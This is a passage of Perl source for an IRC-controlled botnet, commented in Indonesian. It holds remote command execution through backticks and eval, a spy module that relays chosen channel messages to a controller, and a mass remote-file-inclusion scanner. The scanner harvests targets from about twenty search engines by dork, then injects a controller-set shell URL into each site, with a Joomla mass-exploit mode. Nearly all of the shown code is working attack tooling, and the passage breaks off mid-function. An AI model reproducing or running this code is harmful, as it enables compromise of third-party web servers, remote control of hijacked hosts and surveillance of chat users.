      elsif (($com =~ /^joomla\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,"",$1,$hb,3); exit; }
      elsif ($com =~ /^sublink\s+(.*)/) { my @sl = lnk_sub($1); foreach my $e(@sl) { irc_msg($dtarget,$e); } }
      elsif ($com =~ /^http(1|2|3)\s+(.+?)\s+(.*)/) {
        my ($t,$nf,$q) = ($1,$2,$3);
        my $h;
        if ($t == 1) { $h = bukasitus($q); }
        elsif ($t == 2) { $h = bukasitus2($q); }
        else { $h = bukasitus3($q); }
        f_simpan2($nf,$h); ntci($dnick,"SaVeD ($t)",$nf);
      }
      elsif ($com =~ /^regex(1|2)\s+(.+?)\s+(.*)/) {
        my $n = $1;
        my $q = bukasitus($2);
        my $regex = $3;
        if ($n ==1) {
          if ($q !~ /$regex/) { irc_msg($dtarget,"Ga cocok!"); }
          while ($q =~ m/$regex/g ) { irc_msg($dtarget,$1); sleep(1); }
        }
        else {
          while ($q =~ m/<a href=\"(.*?)\">http:\/\/(.*?)<\/a>/g) { irc_msg($dtarget,$2); sleep(1); }
        }
      }
    }
    ##[ END OF USER ]##

    ##[ PERINTAH ADMIN ]##
    if (($loginboss == 1) && ($userstat eq "admin")) {
      if    ($com =~ /^help/) { bot_help($dtarget,3); }
      elsif ($com =~ /^chans/) { my $chans = join(",", @chans); ntci($dnick,"ChaNz",$chans);  }
      ##[ PERINTAH SPY ]##
      elsif ($com =~ /^spy$/ ) { ntci($dnick,"SpY","Host: ".$spy{"host"}." Chans: ".join(",", @{ $spy{"chanz"} })." Words: ".join(",", @{ $spy{"wordz"} })); }
      elsif ($com =~ /^spy(found|show|clear)$/ ) {
        my $n = $1;
        if ($n eq "found") { msgi($dtarget,"SpYFouNd",scalar(@{ $spy{"foundz"} })); }
        elsif ($n eq "show") {
          my $i = 0;
          for my $f (@{ $spy{"foundz"} }) { irc_msg($dtarget,$f); }
          $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
        }
        elsif ($n eq "clear") { $spy{"foundz"} = []; msgi($dtarget,"SpyList","DiBersiHkaN!"); }
        else { msge($dtarget,"Spy","PeRinTah SaLah!"); }
      }
      elsif ($com =~ /^spyhost\s+(.*)/ ) { $spy{"host"} = $1; ntci($dnick,"SpYHosT",$spy{"host"}); }
      elsif ($com =~ /^spychan\s+(.*)/ ) {
        unless ($spy{"host"}) { msge($dtarget,"SiLaHkaN SeT SpyHost TerLebih DahuLu!",""); }
        else{ irc_join($1); push @{ $spy{"chanz"} }, $1; my $chans = join(",", @{ $spy{"chanz"} }); ntci($dnick,"SpYChaNz",$chans); }
      }
      elsif ($com =~ /^spyword\s+(.*)/ ) { push @{ $spy{"wordz"} }, $1; my $words = join(",", @{ $spy{"wordz"} }); ntci($dnick,"SpYWoRDz",$words); }
      ##[ END OF PERINTAH SPY ]##
      elsif ($com =~ /^quit/) { irc_quit("THA THA!"); $keluar = 1; exit; }
      elsif ($com =~ /^mampus/) { irc_quit("gue dibantai!"); $keluar = 1; system("killall perl"); exit; }
      elsif ($com =~ /^raw\s+(.*)/) { irc_raw($1); }
      elsif ($com =~ /^rfipid\s+([0-9].*)/) { $conf{rfipid} = $1; msgi($dtarget,"RFI Pid",$conf{rfipid}); }
      elsif ($com =~ /^cshell\s+(.*)/) { $fx29sh = $1; msgi($dtarget,"Injector RFI",$fx29sh); }
      elsif ($com =~ /^crespon(1|2)\s+(.*)/) {
        my ($n,$url) = ($1,$2);
        if    ($n == 1) { $fx29id = $url; }
        elsif ($n == 2) { $fx29id2 = $url; }
        msgi($dtarget,"Respon $n RFI",$url);
      }
      elsif ($com =~ /^cspread\s+(.*)/) {
        my $url = $1;
        $spread = $url;
        msgi($dtarget,"Spread RFI",$spread);
      }
      elsif ($com =~ /^\+bos\s+(.+?)\s+(.*)/) {
        $boss{$1}{pass}   = "fx";
        $boss{$1}{status} = $2;
        $boss{$1}{login}  = 0;
        $boss{$1}{cryptz} = 0;
        ntci($dnick,"BoZz","$1 ditambahkan sbg ".$boss{$1}{status});
        msgi($1,"BoZz","Hai $1! Ketik .auth ".$boss{$1}{pass});
      }
      elsif ($com =~ /^eval\s+(.*)/) { eval($1); }
      elsif (( $com =~ /^cmd\s+(.*)/) && ( fork() == 0 ) ) {
        my $cmd = $1;
        if ($cmd =~ /cd (.*)/) { chdir("$1") || irc_msg($dtarget,"Ga bisa ganti dir!"); return; }
        my @output = `$cmd`;
        my $i = 0;
        foreach my $out (@output) {
          $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
          irc_msg($dtarget,"$out");
        }
        exit;
      }
    }
    ## END OF ADMIN ##

    ##[ MATA-MATA ]##
    if ($dtarget ne $spy{"host"}) {
      my $is_spychan = grep $_ eq $dtarget, @{$spy{"chanz"}};
      if ($is_spychan == 1) {
         for my $t (@{$spy{"wordz"}}) {
           if ($dteks =~ /$t/) {
             msgi($spy{"host"},"!",$dteks); sleep(1);
             push @{ $spy{"foundz"} }, $dteks;
           }
         }
       }
    }
    ##[ END OF MATA-MATA ]##
  }
  ## END WHILE ##
}
## END KONEK ##

#########################
##[ RUTIN EKSPLOITASI ]##
#########################
sub s_scanz {
  my ($to,$bug,$dork,$sb,$type) = @_;
  $sb = "Fx".$sb.".txt";
  $dork = bersihdork($to,$dork);
  my %typez = (
    1 => "eMpIx ScaNneR",
    2 => "eMpIx ScaN & ExpLoiT",
    3 => "JooMLa MaSs ScaN & ExpLoiT"
  );
  my $badbug  = cek_bug($bug);
  if ($badbug == 1) { msge($to,"BuG","bawuke lower cok!!!!"); return; }
  my $baddork = cek_dork($dork);
  if ($baddork == 1) { msge($to,"DoRk","bawuke lower cok!!!!"); return; }
  if ($type == 3) {
    my $h = bugjoomla("hitung");
    if ($h == 0) { msge($to,"Joomla","bawuke bosok! encukan dibatalkan"); return; }
  }
  irc_msg($to,$colz{1}."BUGS DI CEKKKKK...".$colz{2});
  my $stat = cek_respon($to);
  if ($stat != 2) { irc_msg($to,$colz{1}."JELEK BOSS, GAK ISO RESPON!!!!".$colz{2}); return; }
  irc_msg($to,$colz{1}."".$typez{$type}." MANTAP!0,1 ".$conf{rfipid}."/PID ID:0,1 $sb".$colz{2});
  irc_msg($to,$colz{1}."BuGz:0,1 $bug ") if ($type != 3);
  irc_msg($to,$colz{1}."DoRkz:0,1 $dork ");
  s_cari($to,$dork,$sb,$bug,$type);
  s_eksploit(1,$to,$bug,$dork,$sb) if ($type == 1);
  irc_msg($to,$colz{1}."".$typez{$type}." MONCROOTTT!0,1 $dork ID:0,1 $sb".$colz{2});
  return;
}

sub s_eksploit {
  #Type: 1 = Biasa, 2 = Cari dan exploit, 3 = Joomla
  #Engine: Kosong = Eksploit total, Ada = Eksploit per engine
  my ($type,$chan,$bug,$dork,$tf,$engine) = @_;
  my @prosesbaru;
  my @semuatarget;
  my $hitung;
  my $num = 0;
  my @bugjoomla = bugjoomla($chan) if ($type == 3);
  unless (open(FILEZ,"< $tf")) { msge($chan,"FILE","EMPIKE TERKUNCI $tf!"); return; }
  while (my $r = <FILEZ>) { $r =~ s/\n//g; push(@semuatarget,$r); }
  close(FILEZ);
  f_hapus($tf);
  my @kotor = lnk_sortir(@semuatarget);
  my @target = lnk_filter(@kotor);
  if (!$engine) {
    irc_msg($chan,$colz{1}."TOTAL EMPIK0 $dork".$colz{2});
    irc_msg($chan,$colz{1}."ToTaL:0 ".scalar(@semuatarget)." 0,1JELEK:0 ".scalar(@kotor)." 0,1MANTAP:0 ".scalar(@target)." 9ID:0 $tf".$colz{2}." ".$colz{1}."ENCUK TEMPIKE!".$colz{2});
  }
  foreach my $situs (@target) {
    $hitung++;
    if ($hitung % $conf{rfipid} == 0) {
      foreach my $f (@prosesbaru) { waitpid($f,0); }
      $num = 0;
    }
    if ($type == 1 && $hitung % $conf{rficnt} == 0) {
      irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
      irc_msg($chan,$colz{3}.$hitung."0,1 ".scalar(@target).$colz{4});
    }
    if ($type != 1 && $hitung % $conf{rficnt2} == 0) {
      irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
      irc_msg($chan,"0,1 $engine0,1 ".$hitung."0,1 ". scalar(@target). " ");
    }
    $prosesbaru[$num] = fork();
    if ($prosesbaru[$num] == 0) {
      if ($type != 3) {
        my $q = bukasitus("http://".$situs.$bug.$fx29id."?");
        if ($q =~ /FeeLCoMz/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
      }
      else {
        foreach my $bug (@bugjoomla) {
          my $q = bukasitus("http://".$situs.$bug.$fx29id."?");
          if ($q =~ /FeeLCoMz/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
        }
      }
      exit(0);
    }
    $num++;
  }
  irc_msg($chan,$colz{1}."AGHHH UGHHH TERUSSS, AGHHHHH.... CROOOOT!!!".$colz{2}) if (!$engine);
  foreach my $f (@prosesbaru) { waitpid($f,0); }
  irc_msg($chan,"9,1 $engine 0 MONCROOOT! ") if ($engine);
}
###########################
##[ RUTIN SEARCH ENGINE ]##
###########################################################################
## GOOGLE  : AOL, *CompuServe, *Mahalo.com, *MySpace, *Netscape, *Ripple ##
## YAHOO   : AltaVista, AlltheWeb, GoodSearch, *Rectifi                  ##
## LIVE    : *A9.com, *Ms.Dewey, *Tafiti                                 ##
## ASK     : *iWon, Lycos                                                ##
## LAINNYA : Abacho, Clusty, Dmoz, Euroseek, Fireball, Hotbot, Mamma,    ##
##           Virgilio, Webcrawler, Webde                                 ##
## * Not implemented yet
###########################################################################
sub s_cari {
  #Type: 1 = Cari saja, 2 = Cari dan eksploit, 3 = Cari dan eksploit Joomla
  my ($chan,$dork,$nf,$bug,$type) = @_;
  my @engz;
  my $key = $dork;
  $dork = urlen($key);
  $engz[0]  = fork(); if ($engz[0]  == 0) { s_engine("google","Google",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[1]  = fork(); if ($engz[1]  == 0) { s_engine("yahoo","Yahoo",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[2]  = fork(); if ($engz[2]  == 0) { s_engine("live","Live",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[3]  = fork(); if ($engz[3]  == 0) { s_engine("ask","Ask",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[4]  = fork(); if ($engz[4]  == 0) { s_engine("google2","Google2",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[5]  = fork(); if ($engz[5]  == 0) { s_engine("altavista","Altavista",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[6]  = fork(); if ($engz[6]  == 0) { s_engine("alltheweb","AllTheWeb",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[7]  = fork(); if ($engz[7]  == 0) { s_engine("goodsrch","GoodSearch",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[8] = fork(); if ($engz[8] == 0) { s_engine("lycos","Lycos",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[9] = fork(); if ($engz[9] == 0) { s_engine("uol","Uol",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[10] = fork(); if ($engz[10] == 0) { s_engine("fireball","Fireball",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[11] = fork(); if ($engz[11] == 0) { s_engine("gigablast","Gigablast",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[12] = fork(); if ($engz[12] == 0) { s_engine("virgilio","Virgilio",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[13] = fork(); if ($engz[13] == 0) { s_engine("webde","Web.de",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[14] = fork(); if ($engz[14] == 0) { s_engine("mamma","Mamma",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[15] = fork(); if ($engz[15] == 0) { s_engine("clusty","Clusty",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[16] = fork(); if ($engz[16] == 0) { s_engine("dmoz","Dmoz",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[17] = fork(); if ($engz[17] == 0) { s_engine("euroseek","Euroseek",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[18] = fork(); if ($engz[18] == 0) { s_engine("hotbot","Hotbot",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[19] = fork(); if ($engz[19] == 0) { s_engine("webcrawl","WebCrawler",$type,$chan,$bug,$dork,$nf); exit; }
  #$engz[20]  = fork(); if ($engz[1]  == 0) { s_engine("aol","Aol",$type,$chan,$bug,$dork,$nf); exit; }
  #$engz[21]  = fork(); if ($engz[2]  == 0) { s_engine("netscape","Netscape",$type,$chan,$bug,$dork,$nf); exit; }
  #$engz[22] = fork(); if ($engz[19] == 0) { s_engine("abacho","Abacho",$type,$chan,$bug,$dork,$nf); exit; }
  irc_msg($chan,$colz{1}."EMPIKE TAK CEK SIK.....".$colz{2});
  foreach my $e (@engz) { waitpid($e,0); }
}
sub s_engine {
    my ($f,$se,$type,$chan,$bug,$dork,$ef) = @_;
    my @hc;
    if    ($f eq "google"   ) { @hc = se_google($chan,$dork,$ef); }
    elsif ($f eq "google2"  ) { @hc = se_google_m($chan,$dork,$ef); }
    elsif ($f eq "aol"      ) { @hc = se_aol($chan,$dork,$ef); } #Unused
    elsif ($f eq "netscape" ) { @hc = se_netscape($chan,$dork,$ef); } #Unused
    elsif ($f eq "yahoo"    ) { @hc = se_yahoo($chan,$dork,$ef); }
    elsif ($f eq "altavista") { @hc = se_altavista($chan,$dork,$ef); }
    elsif ($f eq "alltheweb") { @hc = se_alltheweb($chan,$dork,$ef); }
    elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan,$dork,$ef); }
    elsif ($f eq "ask"      ) { @hc = se_ask($chan,$dork,$ef); }
    elsif ($f eq "fireball" ) { @hc = se_fireball($chan,$dork,$ef); }
    elsif ($f eq "gigablast") { @hc = se_gigablast($chan,$dork,$ef); }
    elsif ($f eq "lycos"    ) { @hc = se_lycos($chan,$dork,$ef); }
    elsif ($f eq "live"     ) { @hc = se_live($chan,$dork,$ef); }
    elsif ($f eq "hotbot"   ) { @hc = se_hotbot($chan,$dork,$ef); }
    elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan,$dork,$ef); }
    elsif ($f eq "webde"    ) { @hc = se_webde($chan,$dork,$ef); }
    elsif ($f eq "uol"      ) { @hc = se_uol($chan,$dork,$ef); }
    elsif ($f eq "abacho"   ) { @hc = se_abacho($chan,$dork,$ef); } #Unused
    elsif ($f eq "mamma"    ) { @hc = se_mamma($chan,$dork,$ef); }
    elsif ($f eq "clusty"   ) { @hc = se_clusty($chan,$dork,$ef); }
    elsif ($f eq "dmoz"     ) { @hc = se_dmoz($chan,$dork,$ef); }
    elsif ($f eq "euroseek" ) { @hc = se_euroseek($chan,$dork,$ef); }
    elsif ($f eq "webcrawl" ) { @hc = se_webcrawler($chan,$dork,$ef); }
    my @cl = lnk_sortir(@hc);
    msgr($chan,$se,scalar(@hc),scalar(@cl));
    if (scalar(@cl) == 0) { exit; }
    if ($type == 1) { foreach my $e (@cl) { f_simpan($ef,$e); } }
    else {
      my $ef2 = $f.$ef;
      foreach my $e (@cl) { f_simpan($ef2,$e); }
      if    ($type == 2) { s_eksploit(2,$chan,$bug,$dork,$ef2,$se); }
      elsif ($type == 3) { s_eksploit(3,$chan,$bug,$dork,$ef2,$se); }
    }
}
##[ GOOGLE ]##
sub se_google {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 5000; my $p = 0;
  #my $url = "http://localhost/search/google.co.id.htm";
  my $url = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
  my $murl = "http://www.google.co.id";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q !~ /2008 Google/ ) { msge($chan,"Google","KENEK BAN COK, ENCUK SILITE!!"); @daftar = se_gbypass($chan,$key,$nf); }
  if ( $q =~ /dari sekitar <b>(.+?)<\/b>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Google","$h");
  }
  if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
      my $nxurl = $1; msgn($dbgchan,"Google","$nxurl");
  }
  while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  for ($p=50;$p<=$max;$p+=$num) {
    $nxurl = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
    $q = bukasitus($nxurl);
    while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
    if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar;  }
  }
  return @daftar;
}
##[ GOOGLE BYPASS ]##
sub se_gbypass {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 1000; my $p = 0;
  my $url = $bypass."?key=".$key."&max=".$max;
  my $nxurl;
  my $q = bukasitus($url);
  while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
  return @daftar;
}
##[ GOOGLE MULTI DOMAIN ]##
sub se_google_m {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 5000; my $p;
  my @doms = (
    "com","ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk",
    "ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg",
    "com.tr","com.tw","com.ua","co.uk","hu");
  my $dom = $doms[rand(scalar(@doms))];
  my $url = "http://www.google.".$dom."/search?&num=".$num."&q=".$key;
  my $murl = "http://www.google.".$dom;
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
      my $nxurl = $1;
      msgn($dbgchan,"Google.".$dom,$nxurl);
      msgn($chan,"Google.".$dom,"LaGi NyAri..");
  }
  while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  for ($p=50;$p<=$max;$p+=$num) {
    $nxurl = "http://www.google.".$dom."/search?num=".$num."&q=".$key."&start=".$p."&sa=N";
    $q = bukasitus($nxurl);
    while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
    if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar;  }
  }
  return @daftar;
}
##[ AOL (Ga Pake) ]##
sub se_aol {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 1; my $max = 500; my $p;
  #my $url = "http://localhost/search/search.aol.com.htm";
  my $url = "http://search.aol.com/aol/search?query=".$key;
  my $murl = "http://search.aol.com/aol/";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /of&nbsp;about&nbsp;<b>(.*?)<\/b>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Aol","$h");
  }
  if ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
      my $nxurl = $1; msgn($dbgchan,"Aol","$nxurl");
  }
  while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
  while ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
##[ YAHOO ]##
sub se_yahoo {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 8000; my $p = "1";
  #my $url = "http://localhost/search/www.search.yahoo.com.htm";
  my $url = "http://www.search.yahoo.com/search?p=".$key."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$p;
  my $murl;
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /id=\"infotext\"><p> .*? of(.*?) for/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Yahoo","$h");
  }
  if ( $q =~ /999 Unable to process request at this time/ ) { msge($chan,"Yahoo","Banned!"); }
  if ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
      my $nxurl = $1; msgn($dbgchan,"Yahoo","$nxurl");
  }
  while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
  while ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
    $p++; if ( $p > $max ) { return @daftar; }
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
##[ ALTAVISTA ]##
sub se_altavista {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 100; my $max = 500; my $p;
  #my $url = "http://localhost/search/www.altavista.com.htm";
  my $url = "http://www.altavista.com/web/results?itag=ody&q=".$key."&kgs=0&kls=0&nbq=".$num."&stq=".$p;
  my $murl;
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
      my $nxurl = $1; msgn($dbgchan,"Altavista","$nxurl");
  }
  while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
  while ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
##[ ALLTHEWEB ]##
sub se_alltheweb {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 100; my $max = 20; my $p = 1;
  #my $url = "http://localhost/search/www.alltheweb.com.htm";
  my $url = "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=".$num."&q=".$key."&o=".$p;
  my $murl;
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /<span class=\"ofSoMany\">(.+?)<\/span>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"AllTheWeb","$h");
  }
  if ( $q =~ /<a  href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
      my $nxurl = $1; msgn($dbgchan,"AllTheWeb","$nxurl");
  }
  while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
  while ( $q =~ /<a  href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
##[ GOODSEARCH ]##
sub se_goodsearch {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 0; my $max = 300; my $p = 1;
  #my $url = "http://localhost/search/www.goodsearch.com.html";
  my $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
  my $murl = "http://www.goodsearch.com/";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /of about <strong>(.+?)<\/strong>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"GoodSearch","$h");
  }
  if ( $q =~ m/&nbsp;<span class=\"search_numberpager_nextprev\"><a href=\"(.+?)\">Next<\/a>/ ) {
      my $nxurl = $1; msgn($dbgchan,"GoodSearch","$nxurl");
  }
  while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
  for ($p=2;$p<=$max;$p++) {
    $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
    $q = bukasitus($url);
    while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
    if ( $q !~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { return @daftar; }
  }
  return @daftar;
}
## UOL ##
sub se_uol {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 10; my $max = 5000; my $p;
  #my $url = "http://localhost/search/busca.uol.com.br.htm";
  my $url = "http://mundo.busca.uol.com.br/buscar.html?q=".$key."";
  my $murl = "http://busca.uol.com.br";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /results\">(.+?)<\/strong>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Uol","$h");
  }
  if ( $q =~ /<a href=\"(.*?)\" class=\"next\">/ ) {
      my $nxurl = htmltourl($1); msgn($dbgchan,"Uol","$nxurl");
  }
  while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  for ($p=1;$p<=$max;$p += $num) {
    $q = bukasitus("http://mundo.busca.uol.com.br/buscar.html?q=".$key."&start=".$p);
    while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
    if ( $q !~ /<dt><a href/ ) { return @daftar; }
  }
  return @daftar;
}
## LIVE ##
sub se_live {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 10; my $max = 100; my $p;
  #my $url = "http://localhost/search/search.live.com.htm";
  my $url = "http://search.live.com/results.aspx?q=".$key."&go";
  my $murl =  "http://search.live.com";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /<a  class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
      my $nxurl = $1; msgn($dbgchan,"Live",htmltourl($nxurl));
  }
  while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
    my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
  }
  for ( $p=0;$p<=$max;$p += $num ) {
    $nxurl = $murl.htmltourl($1)."&go";
    $q = bukasitus("http://search.live.com/results.aspx?q=".$key."&first=".$p."&FORM=PORE");
    while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
      my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
    }
  }
  return @daftar;
}
## CLUSTY ##
sub se_clusty {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50;
  #my $url = "http://localhost/search/clusty.com.htm";
  my $url = "http://clusty.com/search?query=".$key."&input-form=clusty-simple&v:sources=webplus";
  my $murl = "http://clusty.com";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Clusty","$h");
  }
  if ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
      my $nxurl = $1; msgn($dbgchan,"Clusty",htmltourl($nxurl));
  }
  while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  while ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
##[ ASK ]##
sub se_ask {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 200; my $p = 1;
  #my $url = "http://localhost/search/www.ask.com.htm";
  my $url = "http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p;
  my $murl = "http://www.ask.com/web";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /<a href=\"(.*?)\" class=\"(.+?)\" style=\"text-decoration:none\" >Next/ ) {
    my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Ask","$h");
  }
  while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
    my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
  }
  for ($p=1;$p<=$max;$p++) {
    $q = bukasitus("http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p);
    while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
      my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
    }
  }
  return @daftar;
}
## LYCOS ##
sub se_lycos {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 10; my $max = 200;  my $p;
  #my $url = "http://localhost/search/search.lycos.com.htm";
  my $url = "http://search.lycos.com/?loc=searchbox&tab=web&adf=on&query=".$key."&submit=image";
  my $murl =  "http://search.lycos.com/";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /<a href=\"(.*?)\">Next/ ) {
    my $nxurl = $1; msgn($dbgchan,"Lycos","$nxurl");
  }
  while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
  for ( $p=0;$p<=$max;$p++ ) {
    $q = bukasitus("http://search.lycos.com/?query=".$key."&page2=".$p."&tab=web");
    while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
    if ( $q !~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { return @daftar; }
  }
  return @daftar;
}
## GIGABLAST ##
sub se_gigablast {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 5000;
  #my $url = "http://localhost/search/gigablast.com.htm";
  my $url = "http://www.gigablast.com/search?q=".$key."&n=".$max;
  my $murl = "http://www.gigablast.com";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Gigablast","$h");
  }
  if ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
      my $nxurl = $1; msgn($dbgchan,"Gigablast","$nxurl");
  }
  while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
